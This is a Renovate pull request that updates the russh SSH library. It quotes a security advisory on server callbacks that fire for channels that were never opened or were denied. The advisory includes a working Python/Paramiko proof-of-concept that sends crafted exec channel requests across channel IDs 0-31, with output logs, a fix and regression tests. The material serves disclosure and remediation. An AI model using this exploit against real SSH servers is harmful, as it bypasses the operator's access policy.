channel_open_session is the application hook for creating a new session channel, and its boolean return value is the application's decision on whether that channel open should be granted. Separately, exec_request is the application hook for deciding what to do with a command request received on a channel.

Those are different responsibilities. The application can decide whether a command is allowed. The library must first decide whether the recipient channel exists and was actually opened.

Delivering exec_request for a recipient ChannelId that is absent from the established channel table bypasses the channel-open decision before the application can safely rely on it.

Root cause

In server_read_authenticated in russh/src/server/encrypted.rs, channel-scoped messages are decoded and then dispatched to handler callbacks without a mandatory check that the recipient channel is established in the encrypted session's channel table.

The problematic pattern is visible in the CHANNEL_REQUEST handling. The code reads the recipient channel ID and request fields. It may look up the channel to send an internal ChannelMsg into the stream API, but the handler callback is outside that guard.

For example, the exec branch has this shape:

"exec" => {
    let req = map_err!(Bytes::decode(r))?;
    map_err!(ensure_end(r))?;

    if let Some(chan) = self.channels.get(&channel_num) {
        let _ = chan
            .send(ChannelMsg::Exec {
                want_reply: true,
                command: req.to_vec(),
            })
            .await;
    }

    handler.exec_request(channel_num, &req, self).await
}

If channel_num is not open, the internal send is skipped, but handler.exec_request(...) is still called.

The same issue applies to other channel-scoped callbacks such as shell_request, subsystem_request, env_request, pty_request, data, extended_data, channel_eof, and channel_close.

There is a second related problem in server_handle_channel_open. The application-side channel reference can be inserted into self.channels even when the handler returns Ok(false). The protocol table enc.channels is only populated when the open is actually allowed. This means the two maps can diverge after a denied open.

The authoritative source for whether a channel is established should be enc.channels, not self.channels.

Evidence from the PoC

The PoC uses a real russh server over localhost TCP. It uses real authentication with username alice and password correct. Paramiko is used only as an authenticated SSH peer that can send crafted packets over the real encrypted SSH transport.

POC Code :

import argparse
import sys
import time

import paramiko
from paramiko.common import MSG_CHANNEL_REQUEST, cMSG_CHANNEL_REQUEST
from paramiko.message import Message
from paramiko.ssh_exception import ChannelException

CHANNEL_SCAN_END = 32

def connect(port: int) -> paramiko.Transport:
    transport = paramiko.Transport(("127.0.0.1", port))
    transport.connect(username="alice", password="correct")
    return transport

def normal_allowed(port: int) -> None:
    transport = connect(port)
    print("normal client: CHANNEL_OPEN session")
    channel = transport.open_session(timeout=5)
    print("normal client: session open confirmed")
    print('normal client: exec "protected"')
    channel.exec_command("protected")
    time.sleep(0.25)
    channel.close()
    transport.close()

def normal_denied(port: int) -> None:
    transport = connect(port)
    print("normal client: CHANNEL_OPEN session")
    try:
        transport.open_session(timeout=5)
    except ChannelException:
        print("normal client: session open denied")
        pass
    else:
        raise RuntimeError("normal denied control unexpectedly opened a session channel")
    time.sleep(0.25)
    transport.close()

def send_exec_request(transport: paramiko.Transport, recipient_channel: int) -> None:
    print(
        "crafted packet: "
        f"SSH_MSG_CHANNEL_REQUEST({MSG_CHANNEL_REQUEST}) "
        f"recipient_channel={recipient_channel} "
        'request_type="exec" '
        'command="protected"'
    )
    msg = Message()
    msg.add_byte(cMSG_CHANNEL_REQUEST)
    msg.add_int(recipient_channel)
    msg.add_string("exec")
    msg.add_boolean(True)
    msg.add_string(b"protected")
    transport._send_user_message(msg)

def exploit_denied(port: int) -> None:
    transport = connect(port)
    print("malicious peer: CHANNEL_OPEN session")
    try:
        transport.open_session(timeout=5)
    except ChannelException:
        print("malicious peer: session open denied")
    else:
        raise RuntimeError("exploit setup unexpectedly opened a session channel")

    print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}")
    for channel_id in range(CHANNEL_SCAN_END):
        send_exec_request(transport, channel_id)
        time.sleep(0.01)
    time.sleep(0.5)
    transport.close()

def exploit_without_open(port: int) -> None:
    transport = connect(port)
    print("malicious peer: no CHANNEL_OPEN sent")
    print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}")
    for channel_id in range(CHANNEL_SCAN_END):
        send_exec_request(transport, channel_id)
        time.sleep(0.01)
    time.sleep(0.5)
    transport.close()

def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--mode",
        choices=["allowed", "denied", "denied-open", "noopen"],
        required=True,
    )
    parser.add_argument("--port", type=int, required=True)
    args = parser.parse_args()

    if args.mode == "allowed":
        normal_allowed(args.port)
    elif args.mode == "denied":
        normal_denied(args.port)
    elif args.mode == "noopen":
        exploit_without_open(args.port)
    else:
        exploit_denied(args.port)
    return 0

if __name__ == "__main__":
    sys.exit(main())

The crafted packet form is:

SSH_MSG_CHANNEL_REQUEST(98)
recipient_channel = N
request_type = "exec"
command = "protected"

The PoC runs normal controls and exploit cases in one execution.

Allowed control

This proves the protected action works normally when a session channel is opened.

normal client: CHANNEL_OPEN session
normal client: session open confirmed
normal client: exec "protected"

channel_open_session called: 1
exec_request called: 1
protected action executed: 1
channel ever opened/confirmed: true
working recipient channel ids: [2]
Denied control

This proves the application policy denies session channels and a normal client cannot reach the protected action.

normal client: CHANNEL_OPEN session
normal client: session open denied

channel_open_session called: 1
exec_request called: 0
protected action executed: 0
channel ever opened/confirmed: false
working recipient channel ids: none
Main exploit: no channel open

This is the main issue.

The authenticated client does not send SSH_MSG_CHANNEL_OPEN. It sends crafted SSH_MSG_CHANNEL_REQUEST packets for recipient IDs 0..31.

malicious peer: no CHANNEL_OPEN sent
malicious peer: scanning recipient channel ids 0..31

channel_open_session called: 0
exec_request called: 32
protected action executed: 32
channel ever opened/confirmed: false
working recipient channel ids: [0, 1, 2, ..., 31]

This removes the "guessed channel ID" concern. Every scanned recipient ID reached the protected action in the vulnerable run.

Additional variant: denied open

The client asks for a session channel, the handler denies it, and the client then sends the same crafted requests.

malicious peer: CHANNEL_OPEN session
malicious peer: session open denied

channel_open_session called: 1
exec_request called: 32
protected action executed: 32
channel ever opened/confirmed: false
working recipient channel ids: [0, 1, 2, ..., 31]

The denied-open variant is not required for exploitability, but it shows the same state validation gap after an explicit application denial.

Affected code path

Verified at:

f1a0f180a02ccedf48d86f2c5e0361308cf6b7c6
v0.61.1-9-gf1a0f18

The affected logic is in:

russh/src/server/encrypted.rs

The vulnerable area is:

server_read_authenticated

Channel request dispatch decodes a recipient channel ID and calls request-specific handler callbacks without first requiring that the recipient ID exists as a confirmed channel in enc.channels.

The affected request callbacks include:

pty_request
x11_request
env_request
shell_request
agent_request
exec_request
subsystem_request
window_change_request
signal

The same missing established-channel guard affects:

CHANNEL_DATA
CHANNEL_EXTENDED_DATA
CHANNEL_EOF
CHANNEL_CLOSE

A related issue exists in:

server_handle_channel_open

Application channel references should not be retained for denied opens.

Why this belongs in russh

The application cannot reliably enforce the SSH transport channel lifecycle from inside individual callbacks. By the time exec_request is called, the application is already being told that a channel-scoped request exists. The library should not call that handler for a channel ID that does not exist in the confirmed channel table.

This is the same kind of invariant russh already applies for some channel state updates. The missing part is to apply the established-channel check consistently before all channel-scoped callbacks are dispatched.

The safe expectation is simple:

No established channel, no channel-scoped handler callback.
Suggested fix

Before dispatching any channel-scoped callback, require the recipient ChannelId to exist in the encrypted session's established channel table and to be confirmed.

The authoritative check should use enc.channels, not self.channels.

A minimal approach is to add a helper like:

fn ensure_established_channel(&self, channel: ChannelId) -> Result<(), Error> {
    if self
        .common
        .encrypted
        .as_ref()
        .and_then(|enc| enc.channels.get(&channel))
        .is_some_and(|channel| channel.confirmed)
    {
        Ok(())
    } else {
        Err(Error::Inconsistent)
    }
}

Then call it before dispatching channel-scoped callbacks for:

CHANNEL_REQUEST
CHANNEL_DATA
CHANNEL_EXTENDED_DATA
CHANNEL_EOF
CHANNEL_CLOSE
CHANNEL_WINDOW_ADJUST

For unknown or unconfirmed channels, russh should not call application callbacks. The exact wire response can be request failure, ignore, or disconnect depending on the existing protocol-error handling for that message type.

The channel-open path should also retain application-side channel references only when the open is approved:

let mut result = handler.channel_open_session(channel, self).await;

if let Ok(allowed) = &mut result {
    if *allowed {
        self.channels.insert(sender_channel, reference);
    }

    self.finalize_channel_open(&msg, channel_params, *allowed)?;
}
Regression coverage

A regression test should authenticate normally, then verify that callbacks are not reached in these cases:

1. CHANNEL_REQUEST "exec" without prior CHANNEL_OPEN
2. CHANNEL_OPEN "session" denied by the handler, then CHANNEL_REQUEST "exec"
3. CHANNEL_DATA without prior CHANNEL_OPEN
4. CHANNEL_EOF / CHANNEL_CLOSE without prior CHANNEL_OPEN

The test should fail if any channel-scoped callback such as exec_request, shell_request, subsystem_request, data, channel_eof, or channel_close is invoked for a non-established channel.

A positive control should confirm that a normally opened session channel still reaches the expected callbacks.

In the local validation, the targeted regression passed after the patch:

cargo test -p russh --test channel_state_validation

The full workspace also passed:

cargo test --workspace
Duplicate check

I checked existing Eugeny/russh advisories and issue searches for terms related to:

CHANNEL_REQUEST
exec_request
channel_open_session denied
unopened channel
server_handle_channel_open
channel request handler

Existing advisories cover unrelated authentication, parser, allocation, window-adjust, Terrapin, and cryptographic issues. I did not find an existing advisory or issue for channel-scoped callbacks being dispatched for unopened or denied recipient channel IDs.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

warp-tech/russh (russh)

v0.62.5

Compare Source

Security fixes

GHSA-m65r-rprj-r5rg - Handler channel callbacks called for non-existing channel - 7c5659f

Russh server did not validate channel IDs passed by a client, so if a client constructed a channel message with an invalid ID, the server-side Handler callback would still get called with that non-existing ID. The consequence of this depend on the specific user implementation.

Fixes

  • de96ad1: fixed #​725 - add backpressure to Channel::data() (Eugene)

Full Changelog: Eugeny/russh@v0.62.4...v0.62.5

v0.62.4

Compare Source

Security fixes

Three independent bugs have allowed a client to trigger a panic in the session handler task, thereby crashing their own session.

Misc

v0.62.3

Compare Source

Changes

v0.62.2

Compare Source

Fixes

  • 6da3f4a: fixed #​733 - incorrect first kex guess handling (Eugene)

v0.62.1

Compare Source

Fixes

v0.62.0

Compare Source

Breaking changes

#​686 - make channel confirmations truly async

This changes the signature of the Handler::channel_open_* functions to allow you to make the channel accept/reject decision outside of the main event loop. Instead of immediately returning a bool, they take an additional reply: ChannelOpenHandle argument, which you can move into another async task to confirm or reject the channel later. After the handler function returns, the event loop is immediately unblocked.

This also lets you specify the protocol-level rejection reason.

Migrating your existing code:

    async fn channel_open_session(
        &mut self,
        channel: Channel<Msg>,
+       reply: server::ChannelOpenHandle,
        session: &mut Session,
-   ) -> Result<bool, Self::Error> {
+   ) -> Result<(), Self::Error> {
        if (...) {
-           Ok(false)
+           reply.reject(ChannelOpenFailure::AdministrativelyProhibited).await;
        } else {
-           Ok(true)
+           reply.accept().await;
        }
+       Ok(

> ✂ **Note**
> 
> PR body was truncated to here.


</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/trydirect/stacker).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjExLjQiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbXX0=-->

@renovate
renovate Bot force-pushed the renovate/crate-russh-vulnerability branch from ba491e8 to e18527d Compare August 3, 2026 19:33
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants